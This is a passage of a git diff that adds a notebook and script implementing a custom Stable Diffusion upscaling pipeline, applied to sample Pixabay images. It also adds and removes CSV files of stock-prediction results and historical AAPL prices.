self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " image,\n", + " timesteps,\n", + " latents,\n", + " noise_level,\n", + " guidance_scale):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latents\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + " latent_model_input = torch.cat([latent_model_input, image], dim=1)\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(\n", + " latent_model_input,\n", + " t,\n", + " encoder_hidden_states=prompt_embeds,\n", + " class_labels=noise_level\n", + " )['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + "\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " num_inference_steps=20,\n", + " guidance_scale=9.0,\n", + " noise_level=20):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " # preprocess image\n", + " image = self.image_processor.preprocess(image).to(self.device)\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps, device=self.device)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " # add noise to image\n", + " noise_level = torch.tensor([noise_level], device=self.device)\n", + " noise = torch.randn(image.shape, device=self.device)\n", + " image = self.low_res_scheduler.add_noise(image, noise, noise_level)\n", + "\n", + " # duplicate image for classifier free guidance\n", + " image = torch.cat([image] * 2)\n", + " noise_level = torch.cat([noise_level] * image.shape[0])\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.vae.config.latent_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " height, width = image.shape[2:]\n", + " latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " image,\n", + " timesteps,\n", + " latents,\n", + " noise_level,\n", + " guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16)\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = self.transform_image(image.detach()) # detach to remove any computed gradients\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iPMCQB179EQN" + }, + "outputs": [], + "source": [ + "# get all the components from the SD Upscaler pipeline\n", + "vae = pipeline.vae\n", + "tokenizer = pipeline.tokenizer\n", + "text_encoder = pipeline.text_encoder\n", + "unet = pipeline.unet\n", + "low_res_scheduler = pipeline.low_res_scheduler\n", + "scheduler = pipeline.scheduler\n", + "image_processor = pipeline.image_processor\n", + "\n", + "custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "HUxdvfo7eLcq" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "SgbP2oQl9EUk", + "outputId": "b1b3d70c-58ef-497a-d87b-2c15073e4d2a" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher\"\n", + "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "Wf8MTwFCeRrR", + "outputId": "17827131-0f99-408e-b61d-ff802509baa9" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "QzkJk4Jo9Eca", + "outputId": "a5ddbb9a-7526-48f5-f449-22e54445fae2" + }, + "outputs": [], + "source": [ + "prompt = \"a professional photograph of a lion's face\"\n", + "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n", + "upscaled_image" + ] + }, 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StableDiffusionUpscalePipeline +import torch + +# %% +# load model and scheduler +model_id = "stabilityai/stable-diffusion-x4-upscaler" +pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16) +pipeline = pipeline.to("cuda") + +# %% +def get_low_res_img(url, shape): + response = requests.get(url) + low_res_img = Image.open(BytesIO(response.content)).convert("RGB") + low_res_img = low_res_img.resize(shape) + return low_res_img + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an aesthetic kingfisher" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +prompt = "an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% +url = "https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an old lady" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +prompt = "an iranian old lady with black hair, brown scarf, rock background" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% +url = "https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg" +shape = (450, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "zebras drinking water" +upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((1800, 512)) +upscaled_interpolation + +# %% + + +# %% + + +# %% [markdown] +# # Custom +# + +# %% +from tqdm import tqdm +from torch import autocast + +# %% +class CustomSDUpscalingPipeline: + """custom implementation of the Stable Diffusion Upscaling Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + low_res_scheduler, + scheduler, + image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.low_res_scheduler = low_res_scheduler + self.scheduler = scheduler + self.image_processor = image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + + def get_prompt_embeds(self, prompt): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds for classfier free guidance + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """convert image from pytorch tensor to PIL format""" + + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device) + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + image, + timesteps, + latents, + noise_level, + guidance_scale): + """denoises latents from noisy latent to a meaningful latents""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents to do classifier free guidance + latent_model_input = torch.cat([latents] * 2) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + latent_model_input = torch.cat([latent_model_input, image], dim=1) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet( + latent_model_input, + t, + encoder_hidden_states=prompt_embeds, + class_labels=noise_level + )['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_text = noise_pred.chunk(2) + + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def __call__(self, + prompt, + image, + num_inference_steps=20, + guidance_scale=9.0, + noise_level=20): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt) + + # preprocess image + image = self.image_processor.preprocess(image).to(self.device) + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps, device=self.device) + timesteps = self.scheduler.timesteps + + # add noise to image + noise_level = torch.tensor([noise_level], device=self.device) + noise = torch.randn(image.shape, device=self.device) + image = self.low_res_scheduler.add_noise(image, noise, noise_level) + + # duplicate image for classifier free guidance + image = torch.cat([image] * 2) + noise_level = torch.cat([noise_level] * image.shape[0]) + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.vae.config.latent_channels + batch_size = prompt_embeds.shape[0] // 2 + height, width = image.shape[2:] + latents = self.get_initial_latents(height, width, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + image, + timesteps, + latents, + noise_level, + guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = self.transform_image(image.detach()) # detach to remove any computed gradients + + return image + +# %% +# get all the components from the SD Upscaler pipeline +vae = pipeline.vae +tokenizer = pipeline.tokenizer +text_encoder = pipeline.text_encoder +unet = pipeline.unet +low_res_scheduler = pipeline.low_res_scheduler +scheduler = pipeline.scheduler +image_processor = pipeline.image_processor + +custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor) + +# %% +url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "an aesthetic kingfisher" +upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0] +upscaled_image + +# %% +url = "https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg" +shape = (200, 128) +low_res_img = get_low_res_img(url, shape) + +low_res_img + +# %% +prompt = "a professional photograph of a lion's face" +upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0] +upscaled_image + +# %% +upscaled_interpolation = low_res_img.resize((800, 512)) +upscaled_interpolation + +# %% + + + diff --git a/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv b/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv new file mode 100644 index 00000000..2b4be05b --- /dev/null +++ b/machine-learning/stock-prediction/csv-results/2021-05-31_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256.csv @@ -0,0 +1,1199 @@ +,open,high,low,close,adjclose,volume,ticker,adjclose_15,true_adjclose_15,buy_profit,sell_profit +1997-08-06,2.2083330154418945,2.3125,2.1875,2.25,2.25,1243200,AMZN,11.820688,2.3177080154418945,0.06770801544189453,0.0 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-1981-02-04,0.5111607313156128,0.5133928656578064,0.5111607313156128,0.5111607313156128,0.40597423911094666,6966400.0,AAPL -1981-02-05,0.5111607313156128,0.515625,0.5111607313156128,0.5111607313156128,0.40597423911094666,1982400.0,AAPL -1981-02-06,0.5133928656578064,0.515625,0.5133928656578064,0.5133928656578064,0.4077470302581787,3466400.0,AAPL -1981-02-09,0.4910714328289032,0.4910714328289032,0.4866071343421936,0.4866071343421936,0.3864732086658478,4188800.0,AAPL -1981-02-10,0.4866071343421936,0.4888392984867096,0.4866071343421936,0.4866071343421936,0.3864732086658478,4586400.0,AAPL -1981-02-11,0.4732142984867096,0.4732142984867096,0.4709821343421936,0.4709821343421936,0.37406352162361145,3460800.0,AAPL -1981-02-12,0.46875,0.46875,0.4665178656578064,0.4665178656578064,0.3705179691314697,3640000.0,AAPL -1981-02-13,0.4598214328289032,0.4598214328289032,0.4553571343421936,0.4553571343421936,0.3616538643836975,2788800.0,AAPL -1981-02-17,0.4665178656578064,0.46875,0.4665178656578064,0.4665178656578064,0.3705179691314697,3068800.0,AAPL -1981-02-18,0.4866071343421936,0.4910714328289032,0.4866071343421936,0.4866071343421936,0.3864732086658478,4810400.0,AAPL -1981-02-19,0.4598214328289032,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,5577600.0,AAPL -1981-02-20,0.4352678656578064,0.4352678656578064,0.4330357015132904,0.4330357015132904,0.3439256548881531,6092800.0,AAPL -1981-02-23,0.4397321343421936,0.4419642984867096,0.4397321343421936,0.4397321343421936,0.34924399852752686,3528000.0,AAPL -1981-02-24,0.4285714328289032,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,4244800.0,AAPL -1981-02-25,0.4508928656578064,0.453125,0.4508928656578064,0.4508928656578064,0.3581082224845886,4872000.0,AAPL -1981-02-26,0.4575892984867096,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,2710400.0,AAPL -1981-02-27,0.4732142984867096,0.4776785671710968,0.4732142984867096,0.4732142984867096,0.3758363425731659,3690400.0,AAPL -1981-03-02,0.4754464328289032,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37760916352272034,2940000.0,AAPL -1981-03-03,0.4709821343421936,0.4709821343421936,0.46875,0.46875,0.3722907602787018,4043200.0,AAPL -1981-03-04,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3687450587749481,3427200.0,AAPL -1981-03-05,0.4642857015132904,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3669722080230713,1344000.0,AAPL -1981-03-06,0.4620535671710968,0.4620535671710968,0.4575892984867096,0.4575892984867096,0.3634265065193176,2900800.0,AAPL -1981-03-09,0.4241071343421936,0.4241071343421936,0.421875,0.421875,0.33506160974502563,3830400.0,AAPL -1981-03-10,0.4040178656578064,0.4040178656578064,0.4017857015132904,0.4017857015132904,0.3191063106060028,7095200.0,AAPL -1981-03-11,0.390625,0.390625,0.3861607015132904,0.3861607015132904,0.3066966235637665,7464800.0,AAPL -1981-03-12,0.4017857015132904,0.4040178656578064,0.4017857015132904,0.4017857015132904,0.3191063106060028,14812000.0,AAPL -1981-03-13,0.3995535671710968,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,57825600.0,AAPL -1981-03-16,0.4129464328289032,0.4174107015132904,0.4129464328289032,0.4129464328289032,0.32797035574913025,9307200.0,AAPL -1981-03-17,0.4330357015132904,0.4375,0.4330357015132904,0.4330357015132904,0.3439256548881531,10936800.0,AAPL -1981-03-18,0.4598214328289032,0.4642857015132904,0.4598214328289032,0.4598214328289032,0.3651994466781616,9234400.0,AAPL -1981-03-19,0.4575892984867096,0.4575892984867096,0.4553571343421936,0.4553571343421936,0.3616538643836975,9452800.0,AAPL -1981-03-20,0.4598214328289032,0.4642857015132904,0.4598214328289032,0.4598214328289032,0.3651994466781616,3651200.0,AAPL -1981-03-23,0.4776785671710968,0.4821428656578064,0.4776785671710968,0.4776785671710968,0.37938192486763,5504800.0,AAPL -1981-03-24,0.4776785671710968,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37760916352272034,7039200.0,AAPL -1981-03-25,0.4709821343421936,0.4709821343421936,0.4665178656578064,0.4665178656578064,0.3705179691314697,1764000.0,AAPL -1981-03-26,0.4598214328289032,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,3068800.0,AAPL -1981-03-27,0.4441964328289032,0.4441964328289032,0.4419642984867096,0.4419642984867096,0.35101693868637085,3063200.0,AAPL -1981-03-30,0.4419642984867096,0.4464285671710968,0.4419642984867096,0.4419642984867096,0.35101693868637085,2475200.0,AAPL -1981-03-31,0.4419642984867096,0.4419642984867096,0.4375,0.4375,0.34747135639190674,3998400.0,AAPL -1981-04-01,0.4352678656578064,0.4352678656578064,0.4330357015132904,0.4330357015132904,0.3439256548881531,8517600.0,AAPL -1981-04-02,0.4709821343421936,0.4732142984867096,0.4709821343421936,0.4709821343421936,0.37406352162361145,7851200.0,AAPL -1981-04-03,0.4732142984867096,0.4754464328289032,0.4732142984867096,0.4732142984867096,0.3758363425731659,4121600.0,AAPL -1981-04-06,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3687450587749481,5700800.0,AAPL -1981-04-07,0.4620535671710968,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,2671200.0,AAPL -1981-04-08,0.4821428656578064,0.4866071343421936,0.4821428656578064,0.4821428656578064,0.38292765617370605,5488000.0,AAPL -1981-04-09,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,3124800.0,AAPL -1981-04-10,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,8366400.0,AAPL -1981-04-13,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,4015200.0,AAPL -1981-04-14,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,1663200.0,AAPL -1981-04-15,0.4754464328289032,0.4754464328289032,0.4732142984867096,0.4732142984867096,0.3758363425731659,8512000.0,AAPL -1981-04-16,0.4486607015132904,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,5969600.0,AAPL -1981-04-20,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,8836800.0,AAPL -1981-04-21,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,7134400.0,AAPL -1981-04-22,0.5089285969734192,0.5111607313156128,0.5089285969734192,0.5089285969734192,0.4042012393474579,4748800.0,AAPL -1981-04-23,0.5223214030265808,0.5245535969734192,0.5223214030265808,0.5223214030265808,0.4148382544517517,14504000.0,AAPL -1981-04-24,0.5223214030265808,0.5223214030265808,0.5178571343421936,0.5178571343421936,0.4112926721572876,8764000.0,AAPL -1981-04-27,0.515625,0.515625,0.5133928656578064,0.5133928656578064,0.4077470302581787,9632000.0,AAPL -1981-04-28,0.5066964030265808,0.5066964030265808,0.5044642686843872,0.5044642686843872,0.40065574645996094,8047200.0,AAPL -1981-04-29,0.5,0.5,0.4977678656578064,0.4977678656578064,0.39533722400665283,3410400.0,AAPL -1981-04-30,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.402428537607193,3152800.0,AAPL -1981-05-01,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.402428537607193,4138400.0,AAPL -1981-05-04,0.5066964030265808,0.5066964030265808,0.5044642686843872,0.5044642686843872,0.40065574645996094,3612000.0,AAPL -1981-05-05,0.5044642686843872,0.5044642686843872,0.5022321343421936,0.5022321343421936,0.3988828659057617,4384800.0,AAPL -1981-05-06,0.4910714328289032,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.3882460296154022,4737600.0,AAPL -1981-05-07,0.4955357015132904,0.4977678656578064,0.4955357015132904,0.4955357015132904,0.3935643434524536,2340800.0,AAPL -1981-05-08,0.5,0.5022321343421936,0.5,0.5,0.39711010456085205,1976800.0,AAPL -1981-05-11,0.4910714328289032,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.3882460296154022,2984800.0,AAPL -1981-05-12,0.4888392984867096,0.4955357015132904,0.4888392984867096,0.4888392984867096,0.3882460296154022,1064000.0,AAPL -1981-05-13,0.4888392984867096,0.4933035671710968,0.4866071343421936,0.4866071343421936,0.3864732086658478,1226400.0,AAPL -1981-05-14,0.484375,0.484375,0.4799107015132904,0.4799107015132904,0.3811548054218292,1232000.0,AAPL -1981-05-15,0.4910714328289032,0.4977678656578064,0.4910714328289032,0.4910714328289032,0.39001888036727905,1226400.0,AAPL -1981-05-18,0.5,0.5044642686843872,0.5,0.5,0.39711010456085205,1041600.0,AAPL -1981-05-19,0.4933035671710968,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,6356000.0,AAPL -1981-05-20,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.402428537607193,3320800.0,AAPL -1981-05-21,0.5357142686843872,0.5379464030265808,0.5357142686843872,0.5357142686843872,0.4254750907421112,8052800.0,AAPL -1981-05-22,0.5602678656578064,0.5647321343421936,0.5602678656578064,0.5602678656578064,0.44497600197792053,7856800.0,AAPL -1981-05-26,0.5602678656578064,0.5602678656578064,0.5580357313156128,0.5580357313156128,0.4432031214237213,21336000.0,AAPL -1981-05-27,0.5892857313156128,0.5915178656578064,0.5892857313156128,0.5892857313156128,0.46802276372909546,37374400.0,AAPL -1981-05-28,0.5892857313156128,0.5915178656578064,0.5892857313156128,0.5892857313156128,0.46802276372909546,18496800.0,AAPL -1981-05-29,0.5915178656578064,0.59375,0.5915178656578064,0.5915178656578064,0.469795286655426,14845600.0,AAPL -1981-06-01,0.5915178656578064,0.59375,0.5915178656578064,0.5915178656578064,0.469795286655426,12812800.0,AAPL -1981-06-02,0.5647321343421936,0.5647321343421936,0.5625,0.5625,0.4467487037181854,10108000.0,AAPL -1981-06-03,0.5625,0.5669642686843872,0.5625,0.5625,0.4467487037181854,9861600.0,AAPL -1981-06-04,0.5736607313156128,0.5758928656578064,0.5736607313156128,0.5736607313156128,0.45561301708221436,14016800.0,AAPL -1981-06-05,0.5669642686843872,0.5669642686843872,0.5647321343421936,0.5647321343421936,0.4485216736793518,14420000.0,AAPL -1981-06-08,0.546875,0.546875,0.5446428656578064,0.5446428656578064,0.4325663149356842,23374400.0,AAPL -1981-06-09,0.5558035969734192,0.5580357313156128,0.5558035969734192,0.5558035969734192,0.4414304792881012,29898400.0,AAPL -1981-06-10,0.5625,0.5691964030265808,0.5625,0.5625,0.4467487037181854,6305600.0,AAPL -1981-06-11,0.5870535969734192,0.5892857313156128,0.5870535969734192,0.5870535969734192,0.46624982357025146,9744000.0,AAPL -1981-06-12,0.5825892686843872,0.5825892686843872,0.5803571343421936,0.5803571343421936,0.4609312117099762,6451200.0,AAPL -1981-06-15,0.5803571343421936,0.5803571343421936,0.578125,0.578125,0.45915842056274414,35940800.0,AAPL -1981-06-16,0.5691964030265808,0.5691964030265808,0.5669642686843872,0.5669642686843872,0.4502944052219391,9312800.0,AAPL -1981-06-17,0.5602678656578064,0.5602678656578064,0.5580357313156128,0.5580357313156128,0.4432031214237213,6893600.0,AAPL -1981-06-18,0.5580357313156128,0.5602678656578064,0.5558035969734192,0.5558035969734192,0.4414304792881012,5762400.0,AAPL -1981-06-19,0.5424107313156128,0.5424107313156128,0.5401785969734192,0.5401785969734192,0.42902064323425293,6876800.0,AAPL -1981-06-22,0.5223214030265808,0.5223214030265808,0.5200892686843872,0.5200892686843872,0.4130654036998749,2710400.0,AAPL -1981-06-23,0.5290178656578064,0.5334821343421936,0.5290178656578064,0.5290178656578064,0.4201566278934479,3757600.0,AAPL -1981-06-24,0.5200892686843872,0.5200892686843872,0.515625,0.515625,0.4095197916030884,5756800.0,AAPL -1981-06-25,0.5267857313156128,0.5290178656578064,0.5267857313156128,0.5267857313156128,0.41838377714157104,6064800.0,AAPL -1981-06-26,0.5245535969734192,0.5245535969734192,0.5200892686843872,0.5200892686843872,0.4130654036998749,5947200.0,AAPL -1981-06-29,0.5066964030265808,0.5066964030265808,0.5022321343421936,0.5022321343421936,0.3988828659057617,2648800.0,AAPL -1981-06-30,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3687450587749481,8976800.0,AAPL -1981-07-01,0.4620535671710968,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,42616000.0,AAPL -1981-07-02,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,7571200.0,AAPL -1981-07-06,0.4486607015132904,0.4486607015132904,0.4441964328289032,0.4441964328289032,0.3527897894382477,4132800.0,AAPL -1981-07-07,0.4486607015132904,0.453125,0.4486607015132904,0.4486607015132904,0.35633549094200134,3959200.0,AAPL -1981-07-08,0.4665178656578064,0.46875,0.4665178656578064,0.4665178656578064,0.3705179691314697,4155200.0,AAPL -1981-07-09,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,8220800.0,AAPL -1981-07-10,0.3995535671710968,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,13792800.0,AAPL -1981-07-13,0.40625,0.4084821343421936,0.40625,0.40625,0.3226518929004669,11435200.0,AAPL -1981-07-14,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,4944800.0,AAPL -1981-07-15,0.4352678656578064,0.4375,0.4352678656578064,0.4352678656578064,0.3456985056400299,2738400.0,AAPL -1981-07-16,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.3545624911785126,3808000.0,AAPL -1981-07-17,0.4620535671710968,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3669722080230713,4956000.0,AAPL -1981-07-20,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,5913600.0,AAPL -1981-07-21,0.4308035671710968,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3403799831867218,7985600.0,AAPL -1981-07-22,0.4084821343421936,0.4084821343421936,0.4040178656578064,0.4040178656578064,0.32087913155555725,5667200.0,AAPL -1981-07-23,0.4151785671710968,0.4174107015132904,0.4151785671710968,0.4151785671710968,0.3297431766986847,8612800.0,AAPL -1981-07-24,0.4285714328289032,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3403799831867218,7212800.0,AAPL -1981-07-27,0.4464285671710968,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,4334400.0,AAPL -1981-07-28,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,5712000.0,AAPL -1981-07-29,0.4263392984867096,0.4263392984867096,0.4241071343421936,0.4241071343421936,0.33683446049690247,3875200.0,AAPL -1981-07-30,0.4397321343421936,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.34924399852752686,2475200.0,AAPL -1981-07-31,0.4464285671710968,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.3545624911785126,2738400.0,AAPL -1981-08-03,0.4464285671710968,0.4464285671710968,0.4419642984867096,0.4419642984867096,0.35101693868637085,3108000.0,AAPL -1981-08-04,0.4486607015132904,0.4508928656578064,0.4486607015132904,0.4486607015132904,0.35633549094200134,7918400.0,AAPL -1981-08-05,0.4620535671710968,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3669722080230713,4373600.0,AAPL -1981-08-06,0.453125,0.453125,0.4508928656578064,0.4508928656578064,0.3581082224845886,2632000.0,AAPL -1981-08-07,0.4508928656578064,0.453125,0.4508928656578064,0.4508928656578064,0.3581082224845886,2301600.0,AAPL -1981-08-10,,,,,,,AAPL -1981-08-11,0.4419642984867096,0.4419642984867096,0.4375,0.4375,0.34747135639190674,17864000.0,AAPL -1981-08-12,0.4308035671710968,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3403799831867218,6568800.0,AAPL -1981-08-13,0.4174107015132904,0.4174107015132904,0.4151785671710968,0.4151785671710968,0.3297431766986847,6871200.0,AAPL -1981-08-14,0.4129464328289032,0.4129464328289032,0.4084821343421936,0.4084821343421936,0.32442471385002136,6048000.0,AAPL -1981-08-17,0.3995535671710968,0.3995535671710968,0.3950892984867096,0.3950892984867096,0.31378787755966187,4726400.0,AAPL -1981-08-18,0.390625,0.390625,0.3861607015132904,0.3861607015132904,0.3066966235637665,4250400.0,AAPL 